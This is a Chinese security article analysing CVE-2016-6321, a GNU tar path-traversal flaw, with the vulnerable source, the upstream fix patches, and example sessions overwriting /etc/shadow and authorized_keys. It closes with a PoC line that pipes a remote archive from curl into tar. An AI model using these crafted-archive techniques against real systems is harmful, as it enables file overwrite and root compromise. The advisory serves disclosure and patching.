作者:bobb
稿费:500RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
0x00 摘要
GNU tar文档管理命令是linux系统下常用的一个打包、压缩的命令,CSS(FSC1V Cyber Security Services)团队的研究员Harry Sintonen发现,tar命令在解压时存在一个路径名绕过漏洞,在一些特定的场景下,利用此漏洞甚至可导致远程代码执行。该漏洞获得CVE编号CVE-2016-6321。
0x01 细节
如果攻击者利用该漏洞,精心构造一个特殊的打包文档,受害者在使用tar命令对其进行解压操作时,不论他在命令行指定的目标路径是什么,都可被攻击者绕过,并将提交准备好的文件与目录解压到攻击者指定的地方。
通过这种方式,可以对特定文件进行覆盖与重写,如果解压操作是以高权限身份进行的,例如root账户,那么可以覆写的文件内容就更多也更重要,在最坏的场景下,攻击者可以借助此漏洞对系统的完全控制(root身份下的远程代码执行)。
这个漏洞的影响范围从GNU tar 1.14 to 1.29 (包含1.29) ,影响包括Red Hat,Alphine Linux,Red Star OS以及其他所有使用GNU tar的Linux系统。接下来我们从tar的官网上下载1.29的版本以进行源代码审计,[下载传送门]。
在lib/paxnames.c文件中,有一个safer_name_suffix()函数,如果absolute_names变量为0,则将文件名中文件系统的前缀给去掉,并且会对 file_name 进行了一些安全检查 。
if ( absolute_names )
p = file_name;
else{
/* Skip file system prefixes, leading file name components that contain
* "..", and leading slashes. */
size_t prefix_len = FILE_SYSTEM_PREFIX_LEN( file_name );
for ( p = file_name + prefix_len; *p; )
{
if ( p[0] == '.' && p[1] == '.' && (ISSLASH( p[2] ) || !p[2]) )
prefix_len = p + 2 - file_name;
do
{
char c = *p++;
if ( ISSLASH( c ) )
break;
}
while ( *p );
}
for ( p = file_name + prefix_len; ISSLASH( *p ); p++ )
continue;
prefix_len = p - file_name;
if ( prefix_len )
{
const char *prefix;
if ( hash_string_insert_prefix( &prefix_table[link_target], file_name,
prefix_len, &prefix ) )
{
static char const *const diagnostic[] =
{
N_( "Removing leading `%s' from member names" ),
N_( "Removing leading `%s' from hard link targets" )
};
WARN( (0, 0, _( diagnostic[link_target] ), prefix) );
}
}
}
//...
return p ;
从上述代码中可以读出,经过safer_name_suffix 操作之后,不论在命令行中指定的目标路径是什么,只要文件名中包含"../",那么“../”序列之后部分的文件名与你的当前工作目录就变成了相对关系。
这个漏洞的历史情况有些复杂,
1. 在13.12.1999 commit 之前,压缩文件条目可以通过“../”字符串直接绕过解压路径问题,并将文件写到任意位置。
2. 在13.12.1999 commit之后,代码进行了一些修复,会警告压缩文件文件名中存在..字符串,并且会跳过不去处理这些文件。
3. 然而,在05.07.2003 commit 时,tar引入safer_name_suffix函数,不再使用自己的检查机制。
在05.07.2003 提交的变动中,safer_name_suffix 不再跳过文件名中包含“../”字符串的恶意成员文件,而是想办法去让纠正恶意的文件名,为了让文件名变得安全,该函数做了一些措施,删除所有存在攻击性的成分如"../"及其之前的部分,强行将它们与解压目标路径变成相对关系,看起来这的确更加安全了,但不幸的是,这些操作会带来一些副作用。
例如,test.tar包中有一个文件项,其路径为 etc/motd/../etc/shadow,你在根目录/下,你想使用tar xvf test.tar etc/motd/ 将tar包中打包的motd解压恢复到本机的motd目录中,然而在safer_name_suffix函数中经过一系列的安全操作后,已经将文件项“../”前面的内容都去掉了,路径文件名只剩下etc/shadow,这时你的/etc/shadow就被攻击者覆写了。
0x02 具体攻击场景
1. 攻击者可以用这种手段诱使用户替换一些重要的文件,例如 .ssh/authorized_keys , .bashrc , .bash_logout , .profile , .subversion 或 .anyconnect。示例代码如下:
user@host:~$ dpkg --fsys-tarfile evil.deb | tar -xf -
--wildcards 'blurf*'
tar: Removing leading `blurf/../' from member names
user@host:~$ cat .ssh/authorized_keys
ssh-rsa AAAAB3...nU= mrrobot@fsociety
user@host:~$
2. 有一些从web应用或者其它类似来源自动解压文件的脚本,这些脚本一般会以setuid root权限执行,通常这类脚本的解压命令如下:
#tar -C / -zxf /tmp/tmp.tgz etc/application var/chroot/application/etc
在这种情况下,攻击者可以重写 /var/spoon/cron/crontabs/root 以获取root身份的代码执行能力;也可以将可能被root身份执行的二进制文件替换成一个有后门的版本;或者投放一个setuid root的二进制文件,等待被管理员执行,使攻击者有机会获取root权限。
在现实生活中,这种场景下的漏洞利用曾有过好几例成功的案例。
3. 以root身份执行解压命令也可能被攻击 。例如上文中提到覆写/etc/shadow的例子
# tar -C / -xvf archive.tar etc/motd
tar: Removing leading `etc/motd/../' from member names
etc/motd/../etc/shadow
#
如果–exclude规则与–anchored选项同时使用,那么即使手动加了–exclude规则也没有用,例如:
#tar -C / -xvf archive.tar --anchored --exclude etc/shadow
tar: Removing leading `etc/motd/../' from member names
etc/motd/../etc/shadow
在两种情况下,攻击者都成功地把/etc/shadow替换成了任意内容。
不过,在实际利用这个漏洞时,攻击者需要首先知道一些特定的前导信息,例如解压命令执行时实际在命令行下指定的路径名,毕竟在构造攻击tar包时“../”序列之前的路径前缀需要符合tar命令中所输入的路径,攻击才能奏效。
0x03 漏洞修复补丁
漏洞作者提出了一些解决方法,并给出了补丁文件,他的想法是直接在safer_name_suffix函数中添加逻辑,如果检测到../字符串,直接报FATAL_ERROR,然后退出程序。补丁内容如下:
--- lib/paxnames.c.orig 2016-04-06 00:04:47.314860045 +0300
+++ lib/paxnames.c 2016-04-06 02:08:44.962297881 +0300
@@ -18,6 +18,7 @@
#include <system.h>
#include <hash.h>
#include <paxlib.h>
+#include <quotearg.h>
/* Hash tables of strings. */
@@ -114,7 +115,15 @@
for (p = file_name + prefix_len; *p; )
{
if (p[0] == '.' && p[1] == '.' && (ISSLASH (p[2]) || !p[2]))
- prefix_len = p + 2 - file_name;
+ {
+ static char const *const diagnostic[] =
+ {
+ N_("%s: Member name contains '..'"),
+ N_("%s: Hard link target contains '..'")
+ };
+ FATAL_ERROR ((0, 0, _(diagnostic[link_target]),
+ quotearg_colon (file_name)));
+ }
do
{
虽然这种做法简单粗暴,的确把漏洞给补了,但是并不是完美的补丁,毕竟在恢复网站或者配置的时候,还原到一半就停下来了,这体验肯定是tar开发者自身都不能容忍的。后来,开发者在scr/extract.c代码中做了修改,当检测到文件名中存在../时,直接跳过该文件,时间仿佛回到了十七年前那个冬天的13.12.1999 commit。
diff --git a/src/extract.c b/src/extract.c
index f982433..7904148 100644
--- a/src/extract.c
+++ b/src/extract.c
@@ -1629,12 +1629,20 @@ extract_archive (void)
{
char typeflag;
tar_extractor_t fun;
+ bool skip_dotdot_name;
fatal_exit_hook = extract_finish;
set_next_block_after (current_header);
+ skip_dotdot_name = (!absolute_names_option
+ && contains_dot_dot (current_stat_info.orig_file_name));
+ if (skip_dotdot_name)
+ ERROR ((0, 0, _("%s: Member name contains '..'"),
+ quotearg_colon (current_stat_info.orig_file_name)));
+
if (!current_stat_info.file_name[0]
+ || skip_dotdot_name
|| (interactive_option
&& !confirm ("extract", current_stat_info.file_name)))
{
0x04 最后
虽然有些攻击看起来条件很难满足,但是在实际的攻击场景中,这些看起来很苛刻的洞可能正有奇效。
以下是漏洞作者给出的PoC,用户可用其自检,目前正是漏洞生存周期0day与1day交替阶段,基本都可成功。
$ curl https://sintonen.fi/advisories/tar-poc.tar | tar xv etc/motd
$ cat etc/shadow
0x05 参考链接
[1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=842339
[2] https://sintonen.fi/advisories/tar-extract-pathname-bypass.proper.txt
[3] https://sintonen.fi/advisories/tar-extract-pathname-bypass.patch
发表评论
您还未登录,请先登录。
登录